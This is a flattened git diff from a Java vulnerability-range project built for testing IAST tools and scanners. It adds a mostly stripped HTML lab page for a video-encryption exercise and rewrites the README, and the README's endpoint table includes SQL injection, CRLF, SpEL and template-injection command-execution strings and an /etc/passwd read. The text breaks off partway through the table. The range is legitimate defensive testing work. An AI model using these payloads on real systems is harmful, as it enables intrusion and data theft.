+ + + + diff --git a/JS-hook/src/main/resources/static/video-segment-encryption.html b/JS-hook/src/main/resources/static/video-segment-encryption.html new file mode 100644 index 0000000..7626304 --- /dev/null +++ b/JS-hook/src/main/resources/static/video-segment-encryption.html @@ -0,0 +1,864 @@ + + + + + + Video Segment Encryption + + + + + +
+
+

流媒体加密平台

+

Video Segment Encryption Case - 加密视频片段处理

+
+ +
+

🎬 视频内容库

+ +
+
+ 🎥 选择视频内容开始播放 +
+
+ +
+
+ + + + +
+
+ + + +
+
+ +
+
+ 总片段数: + 0 +
+
+ 已加载: + 0 +
+
+ 已解密: + 0 +
+
+ 解密进度: + 0% +
+
+ +
+
+
+ +

🎞️ 视频内容选择

+
+
+ 🎬 +

动作电影

+

高清动作大片,包含多个加密片段

+
时长: 120分钟 | 分辨率: 1080p | 片段: 240个
+
待加载
+
+
+ 📺 +

电视剧集

+

热门电视剧,分集加密存储

+
时长: 45分钟 | 分辨率: 720p | 片段: 90个
+
待加载
+
+
+ 🌍 +

纪录片

+

自然纪录片,4K超高清画质

+
时长: 90分钟 | 分辨率: 4K | 片段: 180个
+
待加载
+
+
+ 📡 +

直播流

+

实时直播内容,动态加密

+
实时流 | 分辨率: 1080p | 动态片段
+
待加载
+
+
+
+ +
+

📋 视频片段列表

+
+ 等待选择视频内容... + 待选择 +
+
+ + +
+ + + + diff --git a/JS-hook/temp-maven-settings.xml b/JS-hook/temp-maven-settings.xml new file mode 100644 index 0000000..09dbd37 --- /dev/null +++ b/JS-hook/temp-maven-settings.xml @@ -0,0 +1,5 @@ + + D:/JavaVul/.m2/repository + diff --git a/README.md b/README.md index 4b7cc05..dbb7610 100644 --- a/README.md +++ b/README.md @@ -4,13 +4,40 @@ ## 介绍 -Java 安全漏洞靶场,用于测试IAST和扫描器的被动扫描功能,集合了多个安全漏洞,利用docker镜像为每个靶场独立环境运行。 +Java 安全漏洞靶场集合,主要用于验证 IAST、被动扫描器和各类安全测试工具在真实业务接口场景下的效果。 + +仓库把不同漏洞拆成独立项目,并通过 Docker 为每个靶场提供隔离运行环境,方便按项目单独验证,也方便统一批量回放流量。 文章:[IAST实践总结](https://mp.weixin.qq.com/s/ahxKXv5eKcULVF_VqAjbyg) +## 快速开始 + +1. 克隆项目: + +```sh +git clone https://github.com/lokerxx/JavaVul +cd JavaVul +``` + +2. 按需选择一种启动方式: + +| 文件 | 作用 | 推荐命令 | +| :-- | :-- | :-- | +| `docker-compose-local.yaml` | 宿主机本地先构建,再启动全部靶场,构建速度更快,**推荐** | `bash run-local-build.sh` | +| `docker-compose-build.yaml` | 直接在容器内构建各项目,速度较慢 | `bash run-build_images.sh` | +| `docker-compose-remote.yaml` | 直接拉取我已发布的镜像,更新可能不及时 | `bash run-remote.sh` | + +3. 启动后按需使用: + +- JS Hook 题库:`http://宿主机IP:48159/js-labs.html` +- 单项目访问:参考 [`doc/project-tutorials.md`](./doc/project-tutorials.md) +- 接口批量回放:参考 [`doc/testing-pocs.md`](./doc/testing-pocs.md) + ## 部署 -mvn版本 +下面的版本信息是我开发这个仓库时使用过的参考环境,不要求完全一致,但建议使用较新的 Docker 和 Docker Compose。 + +Maven 版本参考: ```sh # mvn --version @@ -22,7 +49,7 @@ Default locale: en_US, platform encoding: UTF-8 OS name: "linux", version: "3.10.0-1160.el7.x86_64", arch: "amd64", family: "unix" ``` -docker和docker-compose版本 +Docker / Docker Compose 版本参考: ```sh # docker version @@ -52,7 +79,7 @@ CPython version: 3.6.8 OpenSSL version: OpenSSL 1.0.2k-fips 26 Jan 2017 ``` -> 默认docker和docker-compose太低,需要安装比较新的 +> 如果宿主机默认的 Docker / Docker Compose 版本过低,建议升级到更新版本后再运行。 > > ``` > yum remove docker \ @@ -70,298 +97,138 @@ OpenSSL version: OpenSSL 1.0.2k-fips 26 Jan 2017 > sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-compose > ``` -下载项目 +## 运行说明 -```sh -git clone https://github.com/lokerxx/JavaVul -``` +- 当前 compose 默认已经挂载 `agent/agent.jar`。如果你要测试 IAST Agent,可以直接替换这个文件。 +- `SimpleAgent` 的构建与挂载说明见 [`doc/projects/simpleagent.md`](./doc/projects/simpleagent.md)。 +- 仓库当前不再包含 `index` 首页控制台服务,测试请直接访问各靶场端口和对应入口。 +- 仓库里的靶场较多,默认每个应用分配 `512M-1024M` 内存;全部启动时建议预留 `16G` 左右内存。 +- 如果需要增大内存测试 Agent 或压力场景,可以统一调整 compose 文件里的 `-Xms512m -Xmx1024m`。 -以下是运行脚本: +基础 Web 漏洞代码审计细节可参考: -| 文件 | 作用 | 运行 | -| :------------------------: | :----------------------------------------------------------: | :------------------------: | -| docker-compose-build.yaml | 在容器里面构建jar包,每个靶场构建会重复构建(**构建速度会很慢,不建议**) | `bash run-build_images.sh` | -| docker-compose-local.yaml | 宿主机maven构建各个靶场的jar包,多个靶场可以基于maven缓存快速构建(**推荐**) | `bash run-local-build.sh` | -| docker-compose-remote.yaml | 直接去dockerhub下载我构建上传成功的镜像(**镜像更新不及时**) | `bash run-remote.sh` | +- https://github.com/lokerxx/CybersecurityNote/tree/master/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/JAVA%E6%BC%8F%E6%B4%9E -> 此外,需修改yaml文件里面`flask.environment.HOST`为宿主机的IP,用于跑测试用例。**然后我在yaml文件已经默认挂载agent.jar**,如果你们要测试IAST agent功能,直接替换到`agent/agent.jar`即可。我这边自己写了一个简单的java agent,参考下面[SimpleAgent]() -> 如果要测试被动代理扫描,需要修改`index/app.py`里面`proxy_mode`为`True`,修改自己的代理地址:`proxies` -> **修改完成之后,根据自己的需求,运行上面表格的sh脚本部署运行即可**。 +## 支持靶场 -> 因为漏洞应用比较多**但是接口比较少**,我给每个应用配置512-1024M内存(测试运行要16G内存)。如果要配置大一点测试 IAST AGENT,则可以批量修改`docker-compose.yaml`的`-Xms512m -Xmx1024m`的环境变量 +当前仓库里的数据库类靶场已经统一为本地 SQLite 初始化,`base_vul`、`base_vul_repair`、`druid_unauthorized` 与 `druid_authorized` 都不再依赖 MySQL。 +目前项目内已经移除了 MySQL 运行依赖,启动单体靶场时不需要额外准备数据库容器。 -> 基本web漏洞的代码审计的细节,参考这里:https://github.com/lokerxx/CybersecurityNote/tree/master/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/JAVA%E6%BC%8F%E6%B4%9E +可以按下面几类理解当前仓库里的靶场: +### 基础 Web 漏洞与数据访问 +| 文件夹 | 安全漏洞 | 测试用途 | 备注 | +| :-- | :-- | :-- | :-- | +| `base_vul` | SQL 注入、XSS、不安全文件操作、重定向、ReDoS、CRLF、命令执行、SPEL、SSRF、SSTI、不安全反射、XXE | 漏洞 | 综合基础漏洞集合 | +| `base_vul_repair` | 与 `base_vul` 对应的修复版本 | 修复 | 方便与漏洞版对照 | +| `HSQLDB` | HSQLDB 注入漏洞 | 修复、漏洞 | | +| `Hibernate` | Hibernate 注入漏洞 | 修复、漏洞 | | +| `druid_unauthorized` | Druid 未授权访问 | 漏洞 | | +| `druid_authorized` | Druid 未授权访问修复版 | 修复 | | +| `logic_vul` | 伪造身份、水平越权、垂直越权、流程绕过 | 漏洞 | 业务逻辑漏洞综合靶场 | -### 压力测试 +### Spring / Java 生态组件 -部署运行 +| 文件夹 | 安全漏洞 | 测试用途 | 备注 | +| :-- | :-- | :-- | :-- | +| `actuator_unauthorized_1.X` | Actuator 未授权访问 1.X | 漏洞 | | +| `actuator_authorized_1.X` | Actuator 未授权访问 1.X 修复版 | 修复 | | +| `actuator_unauthorized_2.X` | Actuator 未授权访问 2.X | 漏洞 | | +| `actuator_authorized_2.X` | Actuator 未授权访问 2.X 修复版 | 修复 | | +| `log4jvul` | Log4j2 漏洞 | 漏洞 | | +| `wxpay-xxe` | 微信支付 XXE | 漏洞 | | +| `cas_xxe` | CAS XXE | 漏洞 | CAS 3.1.1-3.5.1 存在 XXE,修复版本为 3.6.0+ | -| 文件 | 作用 | 运行 | -| :-----------------------------: | :--------------------------------------------------: | :--------------------: | -| docker-compose-microservice.yml | 运行多个springcloud微服务,用于测试多链路 IAST agent | `run-local-service.sh` | +### 反序列化与表达式执行 -测试用例 +| 文件夹 | 安全漏洞 | 测试用途 | 备注 | +| :-- | :-- | :-- | :-- | +| `fastjson-*` | 各版本 Fastjson 反序列化漏洞 | 漏洞 | 多版本并行维护 | +| `CVE-2019-10173` | XStream 反序列化漏洞 | 漏洞 | | +| `CVE-2019-12384` | Jackson-databind 反序列化漏洞 | 漏洞 | | +| `collections` | Commons Collections 反序列化 | 漏洞 | 已接入统一 compose 与回放脚本 | +| `ghost-bits` | Ghost Bits / Cast Attack 低字节语义差异 | 漏洞 | 综合演示上传绕过、路径穿越、文件读取、CRLF、Fastjson、SQLi 与 XSS | -| 接口 | 压测命令 | -| ----------------------------------------------- | ------------------------------------------------------------ | -| http://ip:29998/process-user-data?userData=test | ` ab -n 1000 -c 20 "http://IP:29998/process-user-data?userData=test"` | +### Shiro 系列 +| 文件夹 | 安全漏洞 | 测试用途 | 备注 | +| :-- | :-- | :-- | :-- | +| `shior-1.2.4` | Apache Shiro 1.2.4 RememberMe 反序列化漏洞 | 漏洞 | `CVE-2016-4437` | +| `shiro-1.25_1.42` | Apache Shiro RememberMe Padding Oracle 靶场 | 漏洞 | `CVE-2019-12422` | +| `shiro-1.8.0` | Apache Shiro 1.8.0 弱 Key 集成配置靶场 | 漏洞 | 高版本仍使用公开弱 `rememberMe` key | +| `shiro-cve-2020-17523` | Apache Shiro 认证绕过靶场 | 漏洞 | `CVE-2020-17523` | +### Struts2 系列 -## 运行 +| 文件夹 | 安全漏洞 | 测试用途 | 备注 | +| :-- | :-- | :-- | :-- | +| `struts2-s2-001` | Struts2 S2-001 OGNL 回填解析靶场 | 漏洞 | `CVE-2007-4556` | +| `struts2-s2-003` | Struts2 S2-003 参数名 OGNL 上下文污染靶场 | 漏洞 | `CVE-2008-6504` | +| `struts2-s2-005` | Struts2 S2-005 参数名 OGNL 命令执行靶场 | 漏洞 | `CVE-2010-1870` | +| `struts2-s2-007` | Struts2 S2-007 类型转换错误 OGNL 靶场 | 漏洞 | `CVE-2012-0838` | +| `struts2-s2-009` | Struts2 S2-009 参数二次求值 OGNL 靶场 | 漏洞 | `CVE-2011-3923` | +| `struts2-s2-012` | Struts2 S2-012 redirect 变量 OGNL 靶场 | 漏洞 | `CVE-2013-1965` | +| `struts2-s2-013` | Struts2 S2-013 includeParams OGNL 靶场 | 漏洞 | `CVE-2013-1966` | +| `struts2-s2-015` | Struts2 S2-015 通配符与二次引用 OGNL 靶场 | 漏洞 | `CVE-2013-2134` | -访问:`http://宿主机IP:5000/` -我配置了三种模式: -- 攻击:发送一些payload,触发漏洞 -- 正常:有可能是漏洞,但是发送是正常的数据 -- 修复:漏洞已经修复,但是payload不生效(过滤或者报错) -- 误报:IAST或SAST误报检测的安全漏洞 -其中右边测试按钮,可以对这个接口进行用例测试。 -![image-20240306164920221](.gitbook/assets/image-20240306164920221.png) -也可以自定义发送payload,进行调试 +## 文档导航 -![image-20240306165001240](.gitbook/assets/image-20240306165001240.png) +- `SimpleAgent` 构建与挂载说明:[`doc/projects/simpleagent.md`](./doc/projects/simpleagent.md) +- 项目快速操作教程:[`doc/project-tutorials.md`](./doc/project-tutorials.md) +- 支持测试的接口清单与回放方式:[`doc/testing-pocs.md`](./doc/testing-pocs.md) +- 全部项目文档索引:[`doc/README.md`](./doc/README.md) -也可以批量发送请求,各个漏洞的回显,会在下面显示。 +## 项目操作教程 -![image-20240127215349622](.gitbook/assets/image-20240127215349622.png) +每个项目的独立操作教程已经整理到 `doc/` 目录,建议优先从总索引进入: +[doc/README.md](./doc/README.md) +如果你想直接看“按项目怎么测”的总表入口,可以看: -## SimpleAgent +[doc/project-tutorials.md](./doc/project-tutorials.md) -Java Agent 是一种工具,它可以使用 Java Instrumentation API 在运行时修改字节码。一个非常简单的 Java Agent 可以仅仅记录一个消息,以表明它已被加载。 +## JS Hook 模块 -首先,创建 Agent 类 `SimpleAgent.java`: +仓库当前包含一个独立的 `JS-hook` 训练场,定位是前端逆向、协议拆解与 XHR/Hook 实战题库。 -```java -package my.agent; +- 目录:`JS-hook` +- 默认端口:`48159` +- 题库入口:`http://宿主机IP:48159/js-labs.html` +- 管理页:`http://宿主机IP:48159/admin.html` -import java.lang.instrument.Instrumentation; +当前这套题库主要覆盖三类内容: -public class SimpleAgent { - public static void premain(String agentArgs, Instrumentation inst) { - System.out.println("SimpleAgent 已加载"); - } -} -``` +- `JS 逆向训练`:动态执行、字符串数组恢复、控制流平坦化、反调试、JSFuck、动态签名、source map 缺失定位。 +- `协议与加解密`:AES-CBC、AES-ECB、AES-GCM、AES-RSA、RSA、DES、3DES、SM2、SM4、双向报文、头签名、动态密钥、重放窗口。 +- `XHR / Hook 实战`:query sign / encrypt、form body、JSON 字段加密、响应解密、cookie、Hex、Protobuf、拦截器链、视频分片。 -在这段代码中,`premain` 方法是 Java Agent 的入口点。它在应用程序的 `main` 方法之前被调用。 +模块运行方式与其他单体靶场一致,直接执行 `bash run-local-build.sh` 即可;单独说明见 [`doc/projects/js-hook.md`](./doc/projects/js-hook.md)。 -接下来,你需要一个 manifest 文件来指定 Agent-Class。创建一个名为 `MANIFEST.MF` 的文件,内容如下: +## Ghost Bits 模块 -``` -Manifest-Version: 1.0 -Premain-Class: my.agent.SimpleAgent -Can-Redefine-Classes: true -Can-Retransform-Classes: true -``` - -这个 manifest 文件指定了 agent 类并启用了一些功能,如类的重定义和重转换。 - -现在,将 Java Agent 编译并打包成 JAR 文件。假设你的 Java 文件在 `src` 目录中,使用 `javac` 和 `jar` 命令,你可以这样做: - -1. 编译 agent 类: - -```sh -# javac -source 1.8 -target 1.8 -d . src/main/java/my/agent/SimpleAgent.java -``` +仓库当前包含一个独立的 `ghost-bits` 靶场,定位是复现 Black Hat Asia 2026 公开研究《Cast Attack: A New Threat Posed by Ghost Bits in Java》中提到的低字节语义差异问题。 -2. 将编译后的类打包成带有 manifest 的 JAR 文件: - -```sh -# jar cvfm SimpleAgent.jar MANIFEST.MF my/agent/SimpleAgent.class -added manifest -adding: my/agent/SimpleAgent.class(in = 492) (out= 320)(deflated 34%) -``` - -现在你有了一个可以作为 Java Agent 使用的 `SimpleAgent.jar`。要将这个 agent 附加到你的应用程序上,启动 Java 应用程序时使用 `-javaagent` 选项,将`SimpleAgent.jar`重命名到`./agent/agent.jar` - -```sh -# mv SimpleAgent.jar ../agent/agent.jar -``` +- 目录:`ghost-bits` +- 默认端口:`9943` +- 页面入口:`http://宿主机IP:9943/ghost-bits` +- 项目文档:[`doc/projects/ghost-bits.md`](./doc/projects/ghost-bits.md) +当前这套靶场主要覆盖三类内容: +- `基础对照`:low-byte 视图、上传扩展名绕过。 +- `路径与协议边界`:路径穿越、`/etc/passwd` 文件读取、CRLF / Header 注入。 +- `解析器与业务 Sink`:Fastjson `@type`、JSON 字段绕过、Ghost Bits -> SQLi、Ghost Bits -> XSS。 -## 支持测试的漏洞 - -| 接口 | 漏洞名字 | 请求方法 | url | 接口类型 | -| :----------------------------------------: | :---------------------------------------------------------: | -------- | :----------------------------------------------------------: | :------: | -| druid_authorized | druid未授权漏洞 | GET | http://192.168.0.9:9996/druid | 修复 | -| actuator2_authorized | SpringBoot Actuator未授权访问漏洞2.X | GET | http://192.168.0.9:9994/actuator | 修复 | -| actuator1_authorized | SpringBoot Actuator未授权访问漏洞1.X | GET | http://192.168.0.9:9992/trace | 修复 | -| sql_injection_id_repair | SQL注入-mybatics-数字 | GET | http://192.168.0.9:9990/users/1'/ | 修复 | -| sql_injection_ids_repair | SQL注入-mybatics-数组 | GET | http://192.168.0.9:9990/users/ids/?ids=1,2,3' | 修复 | -| sql_injection_like_repair | SQL注入-mybatics-like模糊匹配 | GET | http://192.168.0.9:9990/users/name?name=A' | 修复 | -| sql_injection_strs_repair | SQL注入-mybatics-字符串数组 | GET | http://192.168.0.9:9990/users/names?names=Alice&names=Bob' | 修复 | -| sql_injection_orderby_repair | SQL注入-mybatics-排序 | GET | http://192.168.0.9:9990/users/sort?orderByColumn=name&orderByDirection=asc' | 修复 | -| xss_reflect_htmlEscape_repair | 反射型XSS漏洞-htmlEscape类 | GET | http://192.168.0.9:9990/xss_reflect_htmlEscape?name= | 修复 | -| xss_reflect_escapeHtml4_repair | 反射型XSS漏洞-escapeHtml4类 | GET | http://192.168.0.9:9990/xss_reflect_escapeHtml4?name= | 修复 | -| xss_reflect_escapeHtml_reparir | 反射型XSS漏洞-html编码 | GET | http://192.168.0.9:9990/xss_reflect_escapeHtml?name= | 修复 | -| xss_storage_thymeleaf_reparir | 存储型XSS漏洞-thymeleaf模板过滤 | GET | http://192.168.0.9:9990/xss_storage_thymeleaf?name= | 修复 | -| file_upload_repair | 任意文件上传漏洞 | POST | http://192.168.0.9:9990/file_upload | 修复 | -| file_read_repair | 文件读取漏洞 | GET | http://192.168.0.9:9990/file_read?filePath=pom.xml | 修复 | -| file_write_repair | 任意文件写入漏洞 | GET | http://192.168.0.9:9990/file_write?fileName=test.txt&data=test | 修复 | -| file_download_repair | 任意文件下载漏洞 | GET | http://192.168.0.9:9990/file_download?fileName=../test.log | 修复 | -| file_delete_repair | 任意文件删除漏洞 | GET | http://192.168.0.9:9990/file_delete?fileName=test.txt | 修复 | -| runtime_command_execute_repair | 命令执行漏洞-Runtime | GET | http://192.168.0.9:9990/runtime_command_execute?command=whoami | 修复 | -| process_builder_command_repair | 命令执行漏洞-ProcessBuilder | GET | http://192.168.0.9:9990/process_builder_command_execute?command=whoami | 修复 | -| crlf_injection_repair | CRLF注入 | GET | http://192.168.0.9:9990/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456 | 修复 | -| spel_expression_repair | SPEL表达式攻击 | GET | http://192.168.0.9:9990/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami') | 修复 | -| ssrf_openStream_repair | SSRF攻击-openStream | GET | http://192.168.0.9:9990/ssrf_openStream?url=https://www.baidu.com | 修复 | -| ssrf_openConnection_repair | SSRF攻击-openConnection | GET | http://192.168.0.9:9990/ssrf_openConnection?url=http://www.baidu.com | 修复 | -| ssrf_requestGet_repair | SSRF攻击-requestGet | GET | http://192.168.0.9:9990/ssrf_requestGet?url=http://www.baidu.com | 修复 | -| ssrf_okhttp_repair | SSRF攻击-okhttp | GET | http://192.168.0.9:9990/ssrf_okhttp?url=http://www.baidu.com | 修复 | -| ssrf_defaultHttpClient_repair | SSRF攻击-defaultHttpClient | GET | http://192.168.0.9:9990/ssrf_defaultHttpClient?url=http://www.baidu.com | 修复 | -| ssti_velocity_repair | SSTI攻击-velocity | GET | http://192.168.0.9:9990/ssti_velocity?content=%23set (%24exp %3d "exp")%3b%24exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami") | 修复 | -| xxe_saxparserfactory_repair | XXE-saxparserfactory | POST | http://192.168.0.9:9990/xxe_saxparserfactory | 修复 | -| xxe_xmlreaderfactory_repair | XXE-xmlreaderfactory | POST | http://192.168.0.9:9990/xxe_xmlreaderfactory | 修复 | -| xxe_saxbuilder_repair | XXE-saxbuilder | POST | http://192.168.0.9:9990/xxe_saxbuilder | 修复 | -| xxe_saxreader_repair | XXE-saxreader | POST | http://192.168.0.9:9990/xxe_saxreader | 修复 | -| xxe_documentbuilderfactory_repair | XXE-documentbuilderfactory | POST | http://192.168.0.9:9990/xxe_documentbuilderfactory | 修复 | -| xxe_documentbuilderfactory_xinclude_repair | XXE-documentbuilderfactory_xinclude | POST | http://192.168.0.9:9990/xxe_documentbuilderfactory_xinclude | 修复 | -| OpenRedirector_ModelAndView_repair | URL重定向漏洞-ModelAndView | GET | http://192.168.0.9:9990/OpenRedirector_ModelAndView?url=https://www.baidu.com | 修复 | -| OpenRedirector_sendRedirect_repair | URL重定向漏洞-sendRedirect | GET | http://192.168.0.9:9990/OpenRedirector_sendRedirect?url=https://www.baidu.com | 修复 | -| OpenRedirector_lacation_repair | URL重定向漏洞-location | GET | http://192.168.0.9:9990/OpenRedirector_lacation?url=https://www.baidu.com | 修复 | -| swagger-ui_repair | swagger-ui-未授权访问漏洞 | GET | http://192.168.0.9:9990/swagger-ui.html | 修复 | -| sql_injection_Optional_repair | SQL注入-Optional | GET | http://192.168.0.9:9990/users/findByOptionalUsername?username=test' | 修复 | -| sql_injection_Object_repair | SQL注入-Object[] | POST | http://192.168.0.9:9990/users/get_name_object | 修复 | -| sql_injection_Annotation_repair | SQL注入-MyBatis注解方式 | GET | http://192.168.0.9:9990/users/by-username?name=test | 修复 | -| sql_injection_lombok_repair | SQL注入-lombok | POST | http://192.168.0.9:9990/users/lombok | 修复 | -| sql_injection_hsqldb_repair | SQL注入-hsqldb | GET | http://192.168.0.9:9989/hsqldb_repair?username=1' | 修复 | -| sql_injection_Hibernate_repair | SQL注入-Hibernate | GET | http://192.168.0.9:9988/Hibernate_injection_repair?username=foobar' OR (SELECT COUNT(*) FROM User)>=0 OR 'foobar'=' | 修复 | -| log4j2_attack | Log4j2 远程代码执行漏洞(CVE-2021-44228) | POST | http://192.168.0.9:9998/log4j2 | 攻击 | -| fastjson1_2_24_attack | fastjson-1.2.24反序列漏洞 | POST | http://192.168.0.9:9999/fastjson1.2.24-process | 攻击 | -| fastjson1_2_25_attack | fastjson-1.2.25-1.2.47反序列漏洞-不需要AutoTypeSupport-通杀 | POST | http://192.168.0.9:9987/fastjson1.2.25-process | 攻击 | -| fastjson1_2_41_attack | fastjson-1.2.25-1.2.41反序列漏洞-setAutoTypeSupport | POST | http://192.168.0.9:9987/fastjson1.2.41-process-setAutoTypeSupport | 攻击 | -| fastjson1_2_42_attack | fastjson-1.2.42反序列漏洞 | POST | http://192.168.0.9:9986/fastjson1.2.42-process | 攻击 | -| fastjson1_2_43_attack | fastjson-1.2.43反序列漏洞 | POST | http://192.168.0.9:9985/fastjson1.2.43-process | 攻击 | -| fastjson1_2_45_attack | fastjson-1.2.45反序列漏洞 | POST | http://192.168.0.9:9984/fastjson1.2.45-process | 攻击 | -| fastjson1_2_59_attack_1 | fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)-payload1 | POST | http://192.168.0.9:9983/fastjson1.2.59-process | 攻击 | -| fastjson1_2_59_attack_2 | fastjson-1.2.59反序列漏洞(1.2.5 <= 1.2.59)-payload2 | POST | http://192.168.0.9:9983/fastjson1.2.59-process | 攻击 | -| fastjson1_2_60_attack_1 | fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)-payload1 | POST | http://192.168.0.9:9982/fastjson1.2.60-process | 攻击 | -| fastjson1_2_60_attack_2 | fastjson-1.2.60反序列漏洞(1.2.5 <= 1.2.60)-payload2 | POST | http://192.168.0.9:9982/fastjson1.2.60-process | 攻击 | -| fastjson1_2_61_attack_1 | fastjson-1.2.61反序列漏洞-payload1 | POST | http://192.168.0.9:9981/fastjson1.2.61-process | 攻击 | -| fastjson1_2_61_attack_2 | fastjson-1.2.61反序列漏洞-payload2 | POST | http://192.168.0.9:9981/fastjson1.2.61-process | 攻击 | -| fastjson1_2_62_attack_1 | fastjson-1.2.62反序列漏洞-payload1 | POST | http://192.168.0.9:9980/fastjson1.2.62-process | 攻击 | -| fastjson1_2_62_attack_2 | fastjson-1.2.62反序列漏洞-payload2 | POST | http://192.168.0.9:9980/fastjson1.2.62-process | 攻击 | -| fastjson1_2_66_attack_1 | fastjson-1.2.66反序列漏洞-payload1 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 攻击 | -| fastjson1_2_66_attack_2 | fastjson-1.2.66反序列漏洞-payload2 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 攻击 | -| fastjson1_2_66_attack_3 | fastjson-1.2.66反序列漏洞-payload3 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 攻击 | -| fastjson1_2_66_attack_4 | fastjson-1.2.66反序列漏洞-payload4 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 攻击 | -| fastjson1_2_66_attack_5 | fastjson-1.2.66反序列漏洞-payload5 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 攻击 | -| fastjson1_2_66_attack_6 | fastjson-1.2.66反序列漏洞-payload6 | POST | http://192.168.0.9:9979/fastjson1.2.66-process | 攻击 | -| fastjson1_2_67_attack_1 | fastjson-1.2.67反序列漏洞-payload1 | POST | http://192.168.0.9:9978/fastjson1.2.67-process | 攻击 | -| fastjson1_2_67_attack_2 | fastjson-1.2.67反序列漏洞-payload2 | POST | http://192.168.0.9:9978/fastjson1.2.67-process | 攻击 | -| fastjson1_2_68_attack_1 | fastjson-1.2.68反序列漏洞-payload1 | POST | http://192.168.0.9:9977/fastjson1.2.68-process | 攻击 | -| fastjson1_2_68_attack_2 | fastjson-1.2.68反序列漏洞-payload2 | POST | http://192.168.0.9:9977/fastjson1.2.68-process | 攻击 | -| fastjson1_2_80_attack | fastjson-1.2.80反序列漏洞 | POST | http://192.168.0.9:9976/fastjson1.2.80-process | 攻击 | -| druid_unauthorized | druid未授权漏洞 | GET | http://192.168.0.9:9997/druid | 攻击 | -| actuator2_unauthorized | SpringBoot Actuator未授权访问漏洞2.X | GET | http://192.168.0.9:9995/actuator | 攻击 | -| actuator1_unauthorized | SpringBoot Actuator未授权访问漏洞1.X | GET | http://192.168.0.9:9993/trace | 攻击 | -| sql_injection_id_attack | SQL注入-mybatics-数字 | GET | http://192.168.0.9:9991/users/1'/ | 攻击 | -| sql_injection_ids_attack | SQL注入-mybatics-数组 | GET | http://192.168.0.9:9991/users/ids/?ids=1,2,3' | 攻击 | -| sql_injection_like_attack | SQL注入-mybatics-like模糊匹配 | GET | http://192.168.0.9:9991/users/name?name=A' | 攻击 | -| sql_injection_strs_attack | SQL注入-mybatics-字符串数组 | GET | http://192.168.0.9:9991/users/names?names=Alice&names=Bob' | 攻击 | -| sql_injection_orderby_attack | SQL注入-mybatics-排序 | GET | http://192.168.0.9:9991/users/sort?orderByColumn=name&orderByDirection=asc' | 攻击 | -| sql_injection_Optional_attack | SQL注入-Optional | GET | http://192.168.0.9:9991/users/findByOptionalUsername?username=test' | 攻击 | -| sql_injection_Object_attack | SQL注入-Object | POST | http://192.168.0.9:9991/users/get_name_object | 攻击 | -| sql_injection_Annotation_attack | SQL注入-MyBatis注解方式 | GET | http://192.168.0.9:9991/users/by-username?name=test' | 攻击 | -| sql_injection_lombok_attack | SQL注入-lombok | POST | http://192.168.0.9:9991/users/lombok | 攻击 | -| sql_injection_hsqldb_attack | SQL注入-hsqldb | GET | http://192.168.0.9:9989/hsqldb?username=1' | 攻击 | -| sql_injection_Hibernate_attack | SQL注入-Hibernate | GET | http://192.168.0.9:9988/Hibernate_injection?username=foobar' OR (SELECT COUNT(*) FROM User)>=0 OR 'foobar'=' | 攻击 | -| xss_reflect_attack | 反射型XSS漏洞 | GET | http://192.168.0.9:9991/xss_reflect?name= | 攻击 | -| xss_storage_attack | 存储型XSS漏洞 | GET | http://192.168.0.9:9991/xss_storage?name= | 攻击 | -| xss_dom_attack | DOM XSS漏洞 | POST | http://192.168.0.9:9991/xss_dom | 攻击 | -| file_upload_attack | 任意文件上传漏洞 | POST | http://192.168.0.9:9991/file_upload | 攻击 | -| file_read_attack | 任意文件读取漏洞 | GET | http://192.168.0.9:9991/file_read?filePath=/etc/passwd | 攻击 | -| file_write_attack | 任意文件写入漏洞 | GET | http://192.168.0.9:9991/file_write?fileName=test.txt&data=test | 攻击 | -| file_download_attack | 任意文件下载漏洞 | GET | http://192.168.0.9:9991/file_download?fileName=../pom.xml | 攻击 | -| file_delete_attack | 任意文件删除漏洞 | GET | http://192.168.0.9:9991/file_delete?fileName=test.txt | 攻击 | -| runtime_command_execute | 命令执行漏洞-runtime | GET | http://192.168.0.9:9991/runtime_command_execute?command=whoami | 攻击 | -| process_builder_command_execute | 命令执行漏洞-ProcessBuilder | GET | http://192.168.0.9:9991/process_builder_command_execute?command=whoami | 攻击 | -| crlf_injection_attack | CRLF注入 | GET | http://192.168.0.9:9991/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456 | 攻击 | -| spel_expression_attack | SPEL表达式攻击 | GET | http://192.168.0.9:9991/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami') | 攻击 | -| ssrf_openStream_attack | SSRF攻击-openStream | GET | http://192.168.0.9:9991/ssrf_openStream?url=https://www.baidu.com | 攻击 | -| ssrf_openConnection_attack | SSRF攻击-openConnection | GET | http://192.168.0.9:9991/ssrf_openConnection?url=http://www.baidu.com | 攻击 | -| ssrf_requestGet_attack | SSRF攻击-requestGet | GET | http://192.168.0.9:9991/ssrf_requestGet?url=https://www.baidu.com | 攻击 | -| ssrf_okhttp_attack | SSRF攻击-okhttp | GET | http://192.168.0.9:9991/ssrf_okhttp?url=https://www.baidu.com | 攻击 | -| ssrf_defaultHttpClient_attack | SSRF攻击-defaultHttpClient | GET | http://192.168.0.9:9991/ssrf_defaultHttpClient?url=https://www.baidu.com | 攻击 | -| ssti_velocity_attack | SSTI攻击-velocity | GET | http://192.168.0.9:9991/ssti_velocity?content=%23set (%24exp %3d "exp")%3b%24exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami") | 攻击 | -| ssti_freemarker_attack | SSTI攻击-freemarker | GET | http://192.168.0.9:9991/ssti_freemarker?templateContent=%3C%23assign%20ex%3D%22freemarker.template.utility.Execute%22%3Fnew%28%29%3E%24%7B%20ex%28%22bash%20-c%20whoami%22%29%20%7D | 攻击 | -| xxe_saxparserfactory_attack | XXE-saxparserfactory | POST | http://192.168.0.9:9991/xxe_saxparserfactory | 攻击 | -| xxe_xmlreaderfactory_attack | XXE-xmlreaderfactory | POST | 